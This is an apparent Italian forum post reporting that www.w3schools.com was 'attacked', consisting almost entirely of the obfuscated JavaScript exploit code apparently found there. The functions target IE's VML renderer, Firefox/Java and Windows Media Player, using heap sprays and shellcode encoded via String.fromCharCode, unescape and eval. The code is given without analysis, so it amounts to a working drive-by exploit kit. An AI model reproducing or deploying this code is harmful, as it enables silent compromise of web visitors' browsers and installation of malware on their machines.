www.w3schools.com "attaccato" [no tecnico]

[andrea.paiola]

function vml_exploit()
{
if (isMemory == false ) makeMemory();
myDiv = document.getElementById('exp');
exploit = "<v:rect style='width:120pt;height:80pt' fillcolor=\"red\" >";
exploit += "<v:recolorinfo recolorstate=\"t\" numcolors=\"97612895\">";
for (i=0;i<44;i++) exploit += "<v:recolorinfoentry tocolor=\"rgb(1,1,1)\" recolortype=\"1285\ lbcolor=\"rgb(1,1,1)\" forecolor=\"rgb(1,1,1)\" backcolor=\"rgb(1,1,1)\" fromcolor=\"rgb(1,1,1)\" lbstyle =\"32\" bitmaptype=\"3\"/> " ;
exploit += "<v/recolorinfo>";
myDiv.innerHTML = exploit;
}

function firefox_exploit()
{

firefoxPay = unescape(String.fromCharCode(37,117,57,48,57,48,37 ,117,57,48,57,48,37,117,53,52,101,98,37,117,55,53, 56,98,37,117,56,98,51,99,37,117,51,53,55,52,37,117 ,48,51,55,56,37,117,53,54,102,53,37,117,55,54,56,9 8,37,117,48,51,50,48,37,117,51,51,102,53,37,117,52 ,57,99,57,37,117,97,100,52,49,37,117,100,98,51,51, 37,117,48,102,51,54,37,117,49,52,98,101,37,117,51, 56,50,56,37,117,55,52,102,50,37,117,99,49,48,56,37 ,117,48,100,99,98,37,117,100,97,48,51,37,117,101,9 8,52,48,37,117,51,98,101,102,37,117,55,53,100,102, 37,117,53,101,101,55,37,117,53,101,56,98,37,117,48 ,51,50,52,37,117,54,54,100,100,37,117,48,99,56,98, 37,117,56,98,52,98,37,117,49,99,53,101,37,117,100, 100,48,51,37,117,48,52,56,98,37,117,48,51,56,98,37 ,117,99,51,99,53,37,117,55,50,55,53,37,117,54,100, 54,99,37,117,54,101,54,102,37,117,54,52,50,101,37, 117,54,99,54,99,37,117,52,51,48,48,37,117,53,99,51 ,97,37,117,50,101,53,53,37,117,55,56,54,53,37,117, 48,48,54,53,37,117,99,48,51,51,37,117,48,51,54,52, 37,117,51,48,52,48,37,117,48,99,55,56,37,117,52,48 ,56,98,37,117,56,98,48,99,37,117,49,99,55,48,37,11 7,56,98,97,100,37,117,48,56,52,48,37,117,48,57,101 ,98,37,117,52,48,56,98,37,117,56,100,51,52,37,117, 55,99,52,48,37,117,52,48,56,98,37,117,57,53,51,99, 37,117,56,101,98,102,37,117,48,101,52,101,37,117,1 01,56,101,99,37,117,102,102,56,52,37,117,102,102,1 02,102,37,117,101,99,56,51,37,117,56,51,48,52,37,1 17,50,52,50,99,37,117,102,102,51,99,37,117,57,53,1 00,48,37,117,98,102,53,48,37,117,49,97,51,54,37,11 7,55,48,50,102,37,117,54,102,101,56,37,117,102,102 ,102,102,37,117,56,98,102,102,37,117,50,52,53,52,3 7,117,56,100,102,99,37,117,98,97,53,50,37,117,100, 98,51,51,37,117,53,51,53,51,37,117,101,98,53,50,37 ,117,53,51,50,52,37,117,100,48,102,102,37,117,98,1 02,53,100,37,117,102,101,57,56,37,117,48,101,56,97 ,37,117,53,51,101,56,37,117,102,102,102,102,37,117 ,56,51,102,102,37,117,48,52,101,99,37,117,50,99,56 ,51,37,117,54,50,50,52,37,117,100,48,102,102,37,11 7,55,101,98,102,37,117,101,50,100,56,37,117,101,56 ,55,51,37,117,102,102,52,48,37,117,102,102,102,102 ,37,117,102,102,53,50,37,117,101,56,100,48,37,117, 102,102,100,55,37,117,102,102,102,102,37,117,55,52 ,54,56,37,117,55,48,55,52,37,117,50,102,51,97,37,1 17,51,54,50,102,37,117,50,101,51,54,37,117,51,52,5 1,50,37,117,50,101,51,54,37,117,51,50,51,55,37,117 ,51,50,50,101,37,117,51,48,51,48,37,117,54,53,50,1 02,37,117,54,53,55,56,37,117,55,48,50,101,37,117,5 5,48,54,56,37,117,48,48,48,48));
fill = eval(String.fromCharCode(117,110,101,115,99,97,112 ,101,40,39,37,117,48,56,48,48,39,41,59));
addr = 0x08000800;
b = fill;
while (b.length <= 0x400000) { b += b; }
var c = new Array();
for (var i =0; i <36 ; i++)
{
c[i] =
eval(String.fromCharCode(98,46,115,117,98,115,116, 114,105,110,103))(0,0x100000 - firefoxPay.length) + firefoxPay +
eval(String.fromCharCode(98,46,115,117,98,115,116, 114,105,110,103))(0,0x100000 - firefoxPay.length) + firefoxPay +
eval(String.fromCharCode(98,46,115,117,98,115,116, 114,105,110,103))(0,0x100000 - firefoxPay.length) + firefoxPay +
b.substring(0, 0x100000 - firefoxPay.length) + firefoxPay;
}
if (window.navigator.javaEnabled)
{
window.navigator = (addr / 2);
try { java.lang.reflect.Runtime.newInstance(java.lang.Cl ass.forName(String.fromCharCode(106,97,118,97,46,1 08,97,110,103,46,82,117,110,116,105,109,101)), 0); }
catch(e){}
}
}

function firefox1_exploit()
{
location.href = String.fromCharCode(106,97,118,97,115,99,114,105,1 12,116,58,118,111,105,100,32,40,110,101,119,32,73, 110,115,116,97,108,108,86,101,114,115,105,111,110, 40,41,41,59);
up_heapOffset = 0x12000000;
mdacPay = unescape(String.fromCharCode(37,117,57,48,57,48,37 ,117,57,48,57,48,37,117,53,52,101,98,37,117,55,53, 56,98,37,117,56,98,51,99,37,117,51,53,55,52,37,117 ,48,51,55,56,37,117,53,54,102,53,37,117,55,54,56,9 8,37,117,48,51,50,48,37,117,51,51,102,53,37,117,52 ,57,99,57,37,117,97,100,52,49,37,117,100,98,51,51, 37,117,48,102,51,54,37,117,49,52,98,101,37,117,51, 56,50,56,37,117,55,52,102,50,37,117,99,49,48,56,37 ,117,48,100,99,98,37,117,100,97,48,51,37,117,101,9 8,52,48,37,117,51,98,101,102,37,117,55,53,100,102, 37,117,53,101,101,55,37,117,53,101,56,98,37,117,48 ,51,50,52,37,117,54,54,100,100,37,117,48,99,56,98, 37,117,56,98,52,98,37,117,49,99,53,101,37,117,100, 100,48,51,37,117,48,52,56,98,37,117,48,51,56,98,37 ,117,99,51,99,53,37,117,55,50,55,53,37,117,54,100, 54,99,37,117,54,101,54,102,37,117,54,52,50,101,37, 117,54,99,54,99,37,117,52,51,48,48,37,117,53,99,51 ,97,37,117,50,101,53,53,37,117,55,56,54,53,37,117, 48,48,54,53,37,117,99,48,51,51,37,117,48,51,54,52, 37,117,51,48,52,48,37,117,48,99,55,56,37,117,52,48 ,56,98,37,117,56,98,48,99,37,117,49,99,55,48,37,11 7,56,98,97,100,37,117,48,56,52,48,37,117,48,57,101 ,98,37,117,52,48,56,98,37,117,56,100,51,52,37,117, 55,99,52,48,37,117,52,48,56,98,37,117,57,53,51,99, 37,117,56,101,98,102,37,117,48,101,52,101,37,117,1 01,56,101,99,37,117,102,102,56,52,37,117,102,102,1 02,102,37,117,101,99,56,51,37,117,56,51,48,52,37,1 17,50,52,50,99,37,117,102,102,51,99,37,117,57,53,1 00,48,37,117,98,102,53,48,37,117,49,97,51,54,37,11 7,55,48,50,102,37,117,54,102,101,56,37,117,102,102 ,102,102,37,117,56,98,102,102,37,117,50,52,53,52,3 7,117,56,100,102,99,37,117,98,97,53,50,37,117,100, 98,51,51,37,117,53,51,53,51,37,117,101,98,53,50,37 ,117,53,51,50,52,37,117,100,48,102,102,37,117,98,1 02,53,100,37,117,102,101,57,56,37,117,48,101,56,97 ,37,117,53,51,101,56,37,117,102,102,102,102,37,117 ,56,51,102,102,37,117,48,52,101,99,37,117,50,99,56 ,51,37,117,54,50,50,52,37,117,100,48,102,102,37,11 7,55,101,98,102,37,117,101,50,100,56,37,117,101,56 ,55,51,37,117,102,102,52,48,37,117,102,102,102,102 ,37,117,102,102,53,50,37,117,101,56,100,48,37,117, 102,102,100,55,37,117,102,102,102,102,37,117,55,52 ,54,56,37,117,55,48,55,52,37,117,50,102,51,97,37,1 17,51,54,50,102,37,117,50,101,51,54,37,117,51,52,5 1,50,37,117,50,101,51,54,37,117,51,50,51,55,37,117 ,51,50,50,101,37,117,51,48,51,48,37,117,54,53,50,1 02,37,117,54,53,55,56,37,117,55,48,50,101,37,117,5 5,48,54,56,37,117,48,48,48,48));
up_heapOffsetSize = 0x400000;
paySize = mdacPay.length * 2;
up_spraySize = up_heapOffsetSize-(paySize+0x38);
up_sprayOffset1 = eval(String.fromCharCode(117,110,101,115,99,97,112 ,101,40,34,37,117,48,48,50,67,37,117,49,49,67,48,3 4,41,59));
up_sprayOffset1 = findOffset(up_sprayOffset1,up_spraySize);
up_sprayOffset2 = eval(String.fromCharCode(117,110,101,115,99,97,112 ,101,40,34,37,117,48,48,50,67,37,117,49,50,48,48,3 4,41,59));
up_sprayOffset2 = findOffset(up_sprayOffset2,up_spraySize);
up_sprayOffset3 = eval(String.fromCharCode(117,110,101,115,99,97,112 ,101,40,34,37,117,57,48,57,48,37,117,57,48,57,48,3 4,41,59));
up_sprayOffset3 = findOffset(up_sprayOffset3,up_spraySize);
heapOffsetB = (up_heapOffset-0x400000)/up_heapOffsetSize;
newMem = new Array();
for (i=0;i<heapOffsetB;i++)
{
newMem[i]=(i%3==0) ? up_sprayOffset1 + mdacPay: (i%3==1) ? up_sprayOffset2 + mdacPay: up_sprayOffset3 + mdacPay;
}
eval(String.fromCharCode(117,112,95,111,102,102,11 5,101,116,32,61,32,48,120,49,49,56,48,48,48,50,67, 59));
eval(String.fromCharCode(40,110,101,119,32,73,110, 115,116,97,108,108,86,101,114,115,105,111,110,41,4 6,99,111,109,112,97,114,101,84,111,40,110,101,119, 32,78,117,109,98,101,114,40,117,112,95,111,102,102 ,115,101,116,32,62,62,32,49,41,41,59));
}

function wmplayer_exploit()
{
s = unescape( String.fromCharCode(37,117,52,49,52,49,37,117,52,4 9,52,49,37,117,52,49,52,49,37,117,52,49,52,49,37,1 17,52,49,52,49,37,117,52,49,52,49,37,117,52,49,52, 49,37,117,52,49,52,49) );
do { s+=s; } while(s.length<0x0900000);s+= unescape(String.fromCharCode(37,117,57,48,57,48,37 ,117,57,48,57,48,37,117,53,52,101,98,37,117,55,53, 56,98,37,117,56,98,51,99,37,117,51,53,55,52,37,117 ,48,51,55,56,37,117,53,54,102,53,37,117,55,54,56,9 8,37,117,48,51,50,48,37,117,51,51,102,53,37,117,52 ,57,99,57,37,117,97,100,52,49,37,117,100,98,51,51, 37,117,48,102,51,54,37,117,49,52,98,101,37,117,51, 56,50,56,37,117,55,52,102,50,37,117,99,49,48,56,37 ,117,48,100,99,98,37,117,100,97,48,51,37,117,101,9 8,52,48,37,117,51,98,101,102,37,117,55,53,100,102, 37,117,53,101,101,55,37,117,53,101,56,98,37,117,48 ,51,50,52,37,117,54,54,100,100,37,117,48,99,56,98, 37,117,56,98,52,98,37,117,49,99,53,101,37,117,100, 100,48,51,37,117,48,52,56,98,37,117,48,51,56,98,37 ,117,99,51,99,53,37,117,55,50,55,53,37,117,54,100, 54,99,37,117,54,101,54,102,37,117,54,52,50,101,37, 117,54,99,54,99,37,117,52,51,48,48,37,117,53,99,51 ,97,37,117,50,101,53,53,37,117,55,56,54,53,37,117, 48,48,54,53,37,117,99,48,51,51,37,117,48,51,54,52, 37,117,51,48,52,48,37,117,48,99,55,56,37,117,52,48 ,56,98,37,117,56,98,48,99,37,117,49,99,55,48,37,11 7,56,98,97,100,37,117,48,56,52,48,37,117,48,57,101 ,98,37,117,52,48,56,98,37,117,56,100,51,52,37,117, 55,99,52,48,37,117,52,48,56,98,37,117,57,53,51,99, 37,117,56,101,98,102,37,117,48,101,52,101,37,117,1 01,56,101,99,37,117,102,102,56,52,37,117,102,102,1 02,102,37,117,101,99,56,51,37,117,56,51,48,52,37,1 17,50,52,50,99,37,117,102,102,51,99,37,117,57,53,1 00,48,37,117,98,102,53,48,37,117,49,97,51,54,37,11 7,55,48,50,102,37,117,54,102,101,56,37,117,102,102 ,102,102,37,117,56,98,102,102,37,117,50,52,53,52,3 7,117,56,100,102,99,37,117,98,97,53,50,37,117,100, 98,51,51,37,117,53,51,53,51,37,117,101,98,53,50,37 ,117,53,51,50,52,37,117,100,48,102,102,37,117,98,1 02,53,100,37,117,102,101,57,56,37,117,48,101,56,97 ,37,117,53,51,101,56,37,117,102,102,102,102,37,117 ,56,51,102,102,37,117,48,52,101,99,37,117,50,99,56 ,51,37,117,54,50,50,52,37,117,100,48,102,102,37,11 7,55,101,98,102,37,117,101,50,100,56,37,117,101,56 ,55,51,37,117,102,102,52,48,37,117,102,102,102,102 ,37,117,102,102,53,50,37,117,101,56,100,48,37,117, 102,102,100,55,37,117,102,102,102,102,37,117,55,52 ,54,56,37,117,55,48,55,52,37,117,50,102,51,97,37,1 17,51,54,50,102,37,117,50,101,51,54,37,117,51,52,5 1,50,37,117,50,101,51,54,37,117,51,50,51,55,37,117 ,51,50,50,101,37,117,51,48,51,48,37,117,54,53,50,1 02,37,117,54,53,55,56,37,117,55,48,50,101,37,117,5 5,48,54,56,37,117,48,48,48,48));
myDiv = document.getElementById('exp');
exploit='<E'+'MB'+'ED S'+'R'+'C="---------------------'+'--------------------------'+'------------'+'-------'+'-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------'+'-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKK'+'KKLLL LAAANNN'+'NOOOOAAAQQQQRRRRSSSSTTTTUUUUVVVVW'+'WW WXXXXYYYYZZZZ0000111122223333'+'444455556666777788 889999.wmv"></EM'+'BED>';
myDiv.innerHTML = exploit;
}